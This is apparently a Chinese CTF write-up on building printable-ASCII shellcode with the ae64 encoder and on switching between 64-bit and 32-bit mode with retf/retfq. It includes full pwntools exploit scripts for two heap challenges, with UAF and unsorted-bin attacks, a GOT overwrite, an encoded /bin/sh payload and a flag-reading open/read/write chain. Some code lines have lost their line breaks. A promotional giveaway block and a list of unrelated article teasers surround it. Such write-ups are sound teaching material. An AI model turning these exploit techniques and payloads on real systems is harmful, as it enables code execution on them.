当前位置: 首页 > news >正文

ASCII码-shellcode的技巧

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧

https://github.com/TaQini/alpha3

https://github.com/veritas501/ae64.git

https://github.com/rcx/shellcode_encoder

结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题

image-20230812220258102

程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符

image-20230812220502748

接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞

image-20230812220758365

在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0

image-20230812220848343

而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode

image-20230812221039170

剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制

image-20230812221435095

这里使用ae64这个工具

‍帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可

from ae64 import AE64
from pwn import *
context.arch='amd64'# get bytes format shellcode
shellcode = asm(shellcraft.sh())# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()

image-20230812222658159

接着使用ae64的库直接修改为ASCII码shellcode

from pwn import *
from ae64 import AE64context.arch = 'amd64'obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)

这里rdx即为shellcode执行的时候call的寄存器

image-20230812223222314

然后就可以生成shellcode了

image-20230812223247022

紧接着拿这段生成的shellcode就可以绕过了

exp

from pwn import *sh = process("./pwn")
context(arch='amd64')def add(size):sh.recvuntil(" choice:")sh.sendline("1")sh.recvuntil(" message?")sh.sendline(str(size))def delete(index):sh.recvuntil(" choice:")sh.sendline("2")sh.recvuntil("o be deleted?")sh.sendline(str(index))def edit(index,content):sh.recvuntil(" choice:")sh.sendline("3")sh.recvuntil(" be modified?")sh.sendline(str(index))sh.recvuntil("t of the message?")sh.sendline(content)def show(index):sh.recvuntil(" choice:")sh.sendline("4")sh.recvuntil(" to be showed?")sh.sendline(str(index))def exp():sh.recvuntil(" choice:")sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()sh.interactive()

机器切换-shellcode

有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。

CS寄存器则是用于标记机器位数的关键寄存器

  • CS=0x33,64位
  • CS=0x23,32位

那么如何修改CS寄存器的值,则需要通过retfq与retf的指令

  • refq,从64位切换到32位

    • push 0x23; #32位的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retfq; #从32位切换到64位
      
  • ref,从32位切换至64位

    • push 0x33; #64的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retf; #从64位切换到32位
      

再以一道题目作为例子,保护如下,还是没有开启NX保护

image-20230812224501848

题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。

image-20230812224711955

这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。

image-20230812225143067

题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小

image-20230812225341764

但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。

并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。

image-20230812225458229

紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。

image-20230812225635212

查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。

image-20230812225852456

可以看到fstat函数的64位的系统调用号为5

image-20230812230046268

但是32位下的系统调用号5为open函数

image-20230812230125078

那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。

这里需要注意两个点

(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址

image-20230812230855903

(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了

image-20230812230929182

exp

from pwn import *#sh = process("./pwn")elf = ELF("pwn")def user(name,desc):sh.recvuntil("choice:")sh.sendline("0")sh.recvuntil(" name?")		sh.send(name)sh.recvuntil("desc?")sh.send(desc)def add(size):sh.recvuntil("choice:")sh.sendline("1")sh.recvuntil(" message?")sh.send(str(size))def delete(index):sh.recvuntil("choice:")sh.sendline("2")sh.recvuntil(" be deleted?")sh.send(str(index))def edit(index, offset, content):sh.recvuntil("choice:")sh.sendline("3")sh.recvuntil("ssage to be modified?")sh.send(str(index))sh.recvuntil("message to be modified?")sh.send(str(offset))sh.recvuntil("ent of the message?")sh.send(content)while(1):try:sh = process("./pwn")add(0) #0add(0) #1add(0x60)for i in range(8):add(0x71)delete(1)payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)edit(0,0,payload)add(9)delete(2)delete(3)delete(4)delete(5)user('a'*0x10+p64(0)+p64(0x71),'b')target = 0x6020f0 payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)edit(0,0,payload)add(0x60)#2sh.recvuntil("Ptr: ")addr = int("0x"+sh.recv(6),16)log.info("addr:"+hex(addr))add(0x60)#3edit(3,0,p64(elf.got['free']))payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')edit(2,0,payload)edit(0,0,p64(addr))#attach(sh,'b*'+str(addr))delete(6)sh.interactive()except:continue

相关文章:

ASCII码-shellcode的技巧

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧 https://github.com/TaQini/alpha3 https://github.com/veritas501/ae64.git https://github.com/rcx/shellcode_encoder 结合题目来看吧,没有开启NX保护,基本这类型题目九成九都…...

spring cloud 之 dubbo nacos整合

整体思路: 搭建本地nacos服务,详见docker安装nacos_xgjj68163的博客-CSDN博客 共三个工程,生产者服务、消费者服务、生产者和消费者共同依赖的接口工程(打成jar,供生产者和消费者依赖); …...

MySQL如何进行表之间的关联更新

在实际编程工作或运维实践中,对MySQL数据库表进行关联更新是一种比较常见的应用场景,比如在电商系统中,订单表里保存了商品名称的信息(冗余字段设计),但如果商品名称发生变化,则需要通过关联商品…...

Docker创建 LNMP 服务+Wordpress 网站平台

Docker创建 LNMP 服务Wordpress 网站平台 一.环境及准备工作 1.项目环境 公司在实际的生产环境中,需要使用 Docker 技术在一台主机上创建 LNMP 服务并运行 Wordpress 网站平台。然后对此服务进行相关的性能调优和管理工作。 容器 系统 IP地址 软件 nginx centos…...

node没有自动安装npm时,如何手动安装 npm

之前写过一篇使用 nvm 管理 node 版本的文章,node版本管理(Windows) 有时候,我们使用 nvm 下载 node 时,node 没有自动下载 npm ,此时就需要我们自己手动下载 npm 1、下载 npm下载地址:&…...

C# 使用递归方法实现汉诺塔步数计算

C# 使用递归方法实现汉诺塔步数计算 Part 1 什么是递归Part 2 汉诺塔Part 3 程序 Part 1 什么是递归 举一个例子:计算从 1 到 x 的总和 public int SumFrom1ToX(int x) {if(x 1){return 1;}else{int result x SumFrom1ToX_2(x - 1); // 调用自己return result…...

窗口函数大揭秘!轻松计算数据累计占比,玩转数据分析的绝佳利器

上一篇文章《如何用窗口函数实现排名计算》中小编为大家介绍了窗口函数在排名计算场景中的应用,但实际上窗口函数除了可以进行单行计算,还可以在每行上打开一个指定大小的计算窗口,这个计算窗口可以由SQL中的语句具体指定,大到整个…...

健康检测智能睡眠床垫方案

《2022中国睡眠质量调查报告》调查结果显示,16%的被调查者存在夜间睡眠时间不足6个小时,表现为24点以后才上床睡觉,并且在6点之前起床;有83.81%的被调查者经常受到睡眠问题困扰,其中入睡困难占2…...

计网第三章(数据链路层)(五)

目录 一、以太网交换机自学习和转发帧的过程 1.两层交换机和三层交换机 2.以太网交换机的基本原理 3.具体实现过程 一、以太网交换机自学习和转发帧的过程 1.两层交换机和三层交换机 大家可能注意到平常做题时有叫两层交换机,或者三层交换机的。 两层交换机就…...

嵌入式系统中常见内存的划分方法

看到有小伙伴在讨论关于单片机内存的话题,今天就结合STM32给大家描述一下常见的划分区域。 在一个STM32程序代码中,从内存高地址到内存低地址,依次分布着栈区、堆区、全局区(静态区)、常量区、代码区,其中全…...

深入理解与实现:常见搜索算法的Java示例

深入理解与实现:常见搜索算法的Java示例 搜索算法在计算机科学中扮演着重要角色,用于在数据集中查找特定元素或解决问题。在本篇博客中,我们将深入探讨图算法的一个重要分支:图的搜索算法。具体而言,我们将介绍图的深…...

PHP自己的框架实现操作成功失败跳转(完善篇四)

1、实现效果,操作成功后失败成功自动跳转 2、创建操作成功失败跳转方法CrlBase.php /**成功后跳转*跳转地址$url* 跳转显示信息$msg* 等待时间$wait* 是否自动跳转$jump*/protected function ok($urlNULL,$msg操作成功,$wait3,$jump1){$code1;include KJ_CORE./tp…...

【汇编语言】CS、IP寄存器

文章目录 修改CS、IP的指令转移指令jmp问题分析 修改CS、IP的指令 理论:CPU执行何处的指令,取决于CS:IP应用:程序员可以通过改变CS、IP中的内容,进行控制CPU即将要执行的目标指令;问题:如何改变CS、IP中的…...

Nvidia Jetson 编解码开发(3)解决H265解码报错“PPS id out of range”

1.问题描述 基于之前的开发程序 Nvidia Jetson 编解码开发(2)Jetpack 4.x版本Multimedia API 硬件编码开发--集成encode模块_free-xx的博客-CSDN博客 通过Jetson Xavier NX 硬编码的H265发出后, 上位机断点播放发出来的H265码流, 会报“PPS id out of range” 错误 …...

Angular中如何获取URL参数?

Angular中的ActivatedRoute中保存着路由信息,可用来提取URL中的路由参数。 constructor(private route: ActivatedRoute){}ngOnInit(): void {this.getUser();}getUser(): void {const id this.route.snapshot.paramMap.get(id);} }route.snapshot是一个路由信息的…...

uniapp编写微信小程序和H5遇到的坑总结

uniapp编写微信小程序和H5遇到的坑总结 1、阻止事件冒泡2、二维码生成3、H5跨域配置4、H5时,地址栏上添加版本号5、H5时,tabBar遮挡部分内容6、uniapp使用webview通信6.1、uniapp编写的小程序嵌入h5之间的通信6.1.1、小程序向h5发送消息6.1.2、h5向小程序…...

课程表-广度优先和图

你这个学期必须选修 numCourses 门课程,记为 0 到 numCourses - 1 。 在选修某些课程之前需要一些先修课程。 先修课程按数组 prerequisites 给出,其中 prerequisites[i] [ai, bi] ,表示如果要学习课程 ai 则 必须 先学习课程 bi 。 例如&am…...

机器学习|决策树:数学原理及代码解析

机器学习|决策树:数学原理及代码解析 决策树是一种常用的监督学习算法,适用于解决分类和回归问题。在本文中,我们将深入探讨决策树的数学原理,并提供 Python 示例代码帮助读者更好地理解和实现该算法。 决策树数学原…...

1.0的星火2.0必将燎原——图文声影PPT全测试

一、前言 大家好,勇哥又来分享AI模型了,前几天讯飞发布的星火大模型2.0迅速的进入了我们圈子里,为了有更多更好的模型分享给大家,分享星火大模型2.0是必须做的,我做一个传递着,希望大家也星火相传啊。 我…...

[MySQL]主从服务器布置

配置主服务器 配置文件 /etc/my.cnf 在[mysqld]下进行配置 log_binON //启动二进制日志 log-bin mysql-bin //启用二进制日志,用于记录主服务器的更新操作 server-id 1 // 用来表示mysql服务id,保证集成环境中的唯一性 , 范围 [1,2^32) read-only0 // 1表示只…...

微信小程序之bind和catch

这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...

DeepSeek 赋能智慧能源:微电网优化调度的智能革新路径

目录 一、智慧能源微电网优化调度概述1.1 智慧能源微电网概念1.2 优化调度的重要性1.3 目前面临的挑战 二、DeepSeek 技术探秘2.1 DeepSeek 技术原理2.2 DeepSeek 独特优势2.3 DeepSeek 在 AI 领域地位 三、DeepSeek 在微电网优化调度中的应用剖析3.1 数据处理与分析3.2 预测与…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者:Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位:中南大学地球科学与信息物理学院论文标题:BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接:https://arxiv.…...

Docker 运行 Kafka 带 SASL 认证教程

Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明:server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...

【磁盘】每天掌握一个Linux命令 - iostat

目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...

工程地质软件市场:发展现状、趋势与策略建议

一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

如何将联系人从 iPhone 转移到 Android

从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及,充电桩作为核心配套设施,其安全性与可靠性备受关注。然而,在高温、高负荷运行环境下,充电桩的散热问题与消防安全隐患日益凸显,成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

【决胜公务员考试】求职OMG——见面课测验1

2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

微信小程序云开发平台MySQL的连接方式

注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...